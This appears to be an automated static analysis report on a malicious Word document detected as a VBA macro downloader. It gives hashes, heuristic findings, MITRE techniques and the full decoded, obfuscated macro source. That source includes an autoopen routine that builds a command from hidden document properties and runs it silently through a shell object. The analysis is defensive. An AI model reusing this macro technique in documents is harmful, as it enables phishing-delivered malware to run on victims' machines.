Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4beb23fc4c465615…

MALICIOUS

Office (OLE)

69.5 KB Created: 2017-08-23 20:52:00 Authoring application: Microsoft Office Word First seen: 2017-09-14
MD5: b5fcbd4e08b6abc7a809926c0e29f1f7 SHA-1: 67a6b2fbfaf8a7206e71a715600abe279d1f2624 SHA-256: 4beb23fc4c465615a586ead44cd75ca69c4f7910ba944aa6eed492ced2cf108b
192 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, as indicated by multiple heuristic firings including OLE_VBA_MACROS and OLE_VBA_PCODE_AUTOEXEC_EXEC. The ClamAV detection name 'Doc.Macro.VBSDownloader' strongly suggests the macro's purpose is to download a secondary payload. The obfuscated nature of the VBA code and the presence of a suspicious extracted file named 'macros.bas' further support this assessment.

Heuristics 8

  • ClamAV: Doc.Macro.VBSDownloader-6336817-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.VBSDownloader-6336817-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     kDFNDbVdV = "zxeGkSXAHn"
     CreateObject(czAfWXCK + CAntsBFU("SMfUUkeav") + CAntsBFU("CxhXLKNwBZ")).Run$ YtracUVR + DbLbWuXC + RWczBUudmzn + vpFZPVtpuVh + EkKstLheaDy + UBFcFbHAWS + fCyVdtXf + VywxcZyehY, 0
    LBMURhLhCHR = "SuGnGxEHP"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
    mEAvzSrN
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7095 bytes
SHA-256: 1c94edfc78c61725409bf4dac6ff1fb9d6feaba5b0e1197ccc7ab90a09e09a65
Detection
ClamAV: No threats found
Obfuscation or payload: likely
195 of 230 identifiers look randomly generated (e.g. 'NpwxCRGEsEL') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Function mewdmwYN()
Dim XWKpRtcmTa()
ygfPYwtZ = 612
ReDim XWKpRtcmTa(612)
XWKpRtcmTa(560) = PmMdTLgB
 XWKpRtcmTa(519) = YBByNbbee
 XWKpRtcmTa(106) = AHxPfbtKd
 XWKpRtcmTa(495) = dcczMSxeLgM
 XWKpRtcmTa(364) = hZkYuXet
 XWKpRtcmTa(201) = cvzZXwxC
 XWKpRtcmTa(370) = 3972
 XWKpRtcmTa(512) = 1517
 XWKpRtcmTa(450) = 5439
 XWKpRtcmTa(386) = 7178
 XWKpRtcmTa(285) = 1251
 For ygfPYwtZ = 103 To 156
XWKpRtcmTa(ygfPYwtZ) = ygfPYwtZ
Next
End Function
 
Function RKKuLzyTkaY()
Dim rzDKwUeMdDF()
GrXDLUXW = 3511
ReDim rzDKwUeMdDF(3511)
rzDKwUeMdDF(1750) = phMCTpuLuEF
 rzDKwUeMdDF(2244) = ZdbhDVSpM
 rzDKwUeMdDF(959) = cwGNxcwyzP
 rzDKwUeMdDF(1141) = xSmBnwarA
 rzDKwUeMdDF(2909) = szGKnDFLTx
 rzDKwUeMdDF(2709) = 4531
 rzDKwUeMdDF(538) = 737
 rzDKwUeMdDF(175) = 7113
 rzDKwUeMdDF(1440) = 548
 rzDKwUeMdDF(3337) = 4580
 For GrXDLUXW = 2377 To 2133
rzDKwUeMdDF(GrXDLUXW) = GrXDLUXW
Next
End Function
 
Function VaPeZkzBKzT()
Dim xszAamSP()
suaVHWrcKXT = 2292
ReDim xszAamSP(2292)
xszAamSP(1103) = GhEVZyDvuHp
 xszAamSP(563) = bgTcgtHX
 xszAamSP(169) = hxtKtsDR
 xszAamSP(460) = nhmpZCLt
 xszAamSP(1905) = mLTNxUvNNk
 xszAamSP(1339) = 2147
 xszAamSP(2280) = 5045
 xszAamSP(643) = 8810
 xszAamSP(1567) = 1736
 xszAamSP(1511) = 5437
 xszAamSP(1279) = 5104
 For suaVHWrcKXT = 719 To 2142
xszAamSP(suaVHWrcKXT) = suaVHWrcKXT
Next
End Function
 
Function XBxBTAUBM()
Dim tsfDEnmGy()
beHTCMeCYk = 3888
ReDim tsfDEnmGy(3888)
tsfDEnmGy(2845) = nMFKbvLU
 tsfDEnmGy(1196) = xKEBacmBbe
 tsfDEnmGy(1181) = SMRXtxbMV
 tsfDEnmGy(1426) = TmCmcKnKAmb
 tsfDEnmGy(2644) = SbTzupNcfx
 tsfDEnmGy(486) = 6683
 tsfDEnmGy(302) = 6993
 tsfDEnmGy(1950) = 96
 tsfDEnmGy(1870) = 9482
 For beHTCMeCYk = 3298 To 3009
tsfDEnmGy(beHTCMeCYk) = beHTCMeCYk
Next
End Function
 
Function SyCBGGKTn()
Dim drzXuXxkL()
WaNgaAhervS = 2031
ReDim drzXuXxkL(2031)
drzXuXxkL(531) = NFapMvCALA
 drzXuXxkL(625) = PSZZsEAPwP
 drzXuXxkL(1948) = ctXrgNWaw
 drzXuXxkL(340) = pYsgFfGr
 drzXuXxkL(1824) = 5465
 drzXuXxkL(1469) = 7474
 drzXuXxkL(399) = 3350
 drzXuXxkL(1097) = 9524
 For WaNgaAhervS = 1339 To 1948
drzXuXxkL(WaNgaAhervS) = WaNgaAhervS
Next
End Function

Sub autoopen()
mEAvzSrN
End Sub
Public Function CAntsBFU(LnEFErfXWg)
HYXXyABgWRm = "xefDxYpnECE"
 MbDnHHHNsv = "naRmKXtTdy"
 nbDwEnXTV = "GDRHzbgVZu"
 nvLXMeFNZTA = "DrXkNMaV"
 LKLUfcVt = "ffCHmfNgS"
 WZLKvmtyW = "hMAevLhsdpE"
 RhZadtTd = "kYLngNLbZXf"
 CAntsBFU = ActiveDocument.CustomDocumentProperties(LnEFErfXWg) + DbLbWuXC + RWczBUudmzn + vpFZPVtpuVh + EkKstLheaDy + UBFcFbHAWS + fCyVdtXf + vZmbCpCtW
dpxwwYDfaBa = "cBRRSkRT"
 akgLvfpP = "BsSEgGvd"
 UCgdHyHc = "wAbexADPhD"
 pnyDYrezSvx = "cmgtPRAfB"
 wUbXwGhV = "fsFgBvmSay"
 zurrbRXdHz = "nLkkHudB"
 hweZwBBN = "PvfaRbsNZxx"
 End Function
Public Function YtracUVR()
GWAVEVTKtx = "VKAXfzmzmh"
 vLfFUzpUuZ = "dSUWCbGdAx"
 HhTTAddPR = "vcpHVuvuzN"
 EMwtzDHGEDr = "KuBBzFYY"
 MYevCAeU = CAntsBFU("CUxXMCsKb") + DbLbWuXC + RWczBUudmzn + vpFZPVtpuVh + EkKstLheaDy + UBFcFbHAWS + fCyVdtXf + CAntsBFU("vfHHWNWxN") + CAntsBFU("uzzBxfhZwY") + CAntsBFU("ZTTYAETP")
XRKcMUyuTB = "EByGvkkFtay"
 CWfnKTFXs = "VCSHPEtu"
 DGtGrhWnLdC = "zuetDHYA"
 mDwvPmwPH = "HwvkENMua"
 FyVrUTaYbv = "BXKXMwMKZ"
 eZxcTpGYgxF = "TUckbVCG"

ZsYPDKbN = CAntsBFU("McLNReda") + CAntsBFU("pzcDCPNGv") + CAntsBFU("kayFnfDmB") + CAntsBFU("STPVnpzFzwh") + CAntsBFU("fdGyyGywT")
cbZkgWCmBxy = ZsYPDKbN + MYevCAeU
UUNxwbXKmm = "YEekCHAuSx"
 GfPdBeWyp = "NnPwLzGve"
 CEtefHatyYB = "CWxKAyPA"
 zdstSTNaD = "pAMKagELKzw"
 FVBefvUSU = "ZneCMWVNr"
 gvDzpttXgC = "ngZWSaGbnc"
 YtracUVR = cbZkgWCmBxy + ActiveDocument.BuiltInDocumentProperties("Comments") + ""
End Function
Public Function czAfWXCK()
czAfWXCK = CAntsBFU("CcTCEueyw") + CAntsBFU("BvyVfgBG") + CAntsBFU("ppxdknXgwE") + DbLbWuXC + RWczBUudmzn + vpFZPVtpuVh + EkKstLheaDy + UBFcFbHAWS + fCyVdtXf + uCnNwPXEZ
UgBwGXLmdpk = "kZfBeMBFLhf"
 uFLBBeEzUxR = "kxznKEMnnya"
 zYAmXgux = "pMgnTKpGG"
 nZcApmxkAG = "TDrgmPStMTY"
 dysUCufaL = "zCKruLxxABZ"
 sZhALHwbPb = "zZbngdDNmL"
 BgARExtrK = "vGMgVEGbAyP"
 End Function
Public Function mEAvzSrN()
ymCuFXxuT = "hDPaVbkPSuf"
 MLNkbvLkXZT = "HWtLfVfS"
 mWTckcUfEc = "SUatVPVcs"
 VUaKGtUG = "ZTbZSRyvrLB"
 kDFNDbVdV = "zxeGkSXAHn"
 CreateObject(czAfWXCK + CAntsBFU("SMfUUkeav") + CAntsBFU("CxhXLKNwBZ")).Run$ YtracUVR + DbLbWuXC + RWczBUudmzn + vpFZPVtpuVh + EkKstLheaDy + UBFcFbHAWS + fCyVdtXf + VywxcZyehY, 0
LBMURhLhCHR = "SuGnGxEHP"
 DGnumBRZC = "FwdvDpFLEdV"
 RPBVDuDnD = "pTTWaZpBA"
 aCSeBFBmMEK = "ZApesPmLs"
 yaRwuKfVVk = "NXcBXMChK"
 DgDhZApdYH = "wKLrprTrLB"
 vAfZYmvbSKg = "HPugWvNZmgk"
 GefeyxgSw = "vtvbteAE"
 End Function

Function NpwxCRGEsEL()
Dim vZDmwGpY()
sKaRtHpNkVz = 3528
ReDim vZDmwGpY(3528)
vZDmwGpY(1515) = TrkyRycDk
 vZDmwGpY(3513) = tVbpZHXdn
 vZDmwGpY(546) = ptDgVzGtPGw
 vZDmwGpY(2486) = rwfczVUhpRf
 vZDmwGpY(1826) = 1631
 vZDmwGpY(692) = 8834
 vZDmwGpY(3412) = 4415
 vZDmwGpY(3008) = 995
 vZDmwGpY(385) = 2863
 For sKaRtHpNkVz = 3192 To 337
vZDmwGpY(sKaRtHpNkVz) = sKaRtHpNkVz
Next
End Function
 
Function xmNXRXMScYF()
Dim wVbThnsT()
vuLMMDSa = 7135
ReDim wVbThnsT(7135)
wVbThnsT(389) = RXwDdyEzgHt
 wVbThnsT(6622) = yHkzxzhpPZe
 wVbThnsT(2730) = XtzDaGwZ
 wVbThnsT(6388) = wCDZuwvu
 wVbThnsT(5171) = CKXXLFXNX
 wVbThnsT(3701) = 3685
 wVbThnsT(2000) = 9297
 wVbThnsT(6206) = 9756
 wVbThnsT(1081) = 2011
 wVbThnsT(611) = 3834
 wVbThnsT(6659) = 977
 For vuLMMDSa = 4503 To 574
wVbThnsT(vuLMMDSa) = vuLMMDSa
Next
End Function
 
Function zsHHrHFXKu()
Dim SGbdmFKErrk()
yxZELzwRnB = 2628
ReDim SGbdmFKErrk(2628)
SGbdmFKErrk(1833) = mKFcDfxuWy
 SGbdmFKErrk(1629) = UPNRbKBn
 SGbdmFKErrk(2572) = UGYmrhBrpDc
 SGbdmFKErrk(1797) = EGHNvmsawkt
 SGbdmFKErrk(841) = 811
 SGbdmFKErrk(1019) = 4354
 SGbdmFKErrk(1795) = 9814
 SGbdmFKErrk(1830) = 3292
 For yxZELzwRnB = 2088 To 1612
SGbdmFKErrk(yxZELzwRnB) = yxZELzwRnB
Next
End Function
 
Function bffnWmCErat()
Dim DLTtSKHvm()
BfVzUZvDgv = 1722
ReDim DLTtSKHvm(1722)
DLTtSKHvm(911) = UpHUEmgLeP
 DLTtSKHvm(1075) = yDuaKhtsBc
 DLTtSKHvm(1462) = VrDZZgvrxLN
 DLTtSKHvm(541) = vdSbcPgtDKH
 DLTtSKHvm(387) = GPZSuNAWDgn
 DLTtSKHvm(467) = 2827
 DLTtSKHvm(597) = 4591
 For BfVzUZvDgv = 1259 To 1633
DLTtSKHvm(BfVzUZvDgv) = BfVzUZvDgv
Next
End Function
 
Function bZvGVPtTGh()
Dim URYERPXy()
HPFsKLfFmc = 4889
ReDim URYERPXy(4889)
URYERPXy(345) = hkEBSWXeKdf
 URYERPXy(1325) = XGkFANKf
 URYERPXy(1085) = ZvdFVuWWd
 URYERPXy(4756) = KVExATkF
 URYERPXy(3708) = zfWPayssz
 URYERPXy(3461) = TTyHhnYm
 URYERPXy(2205) = 9801
 URYERPXy(984) = 6483
 URYERPXy(499) = 5738
 For HPFsKLfFmc = 3566 To 306
URYERPXy(HPFsKLfFmc) = HPFsKLfFmc
Next
End Function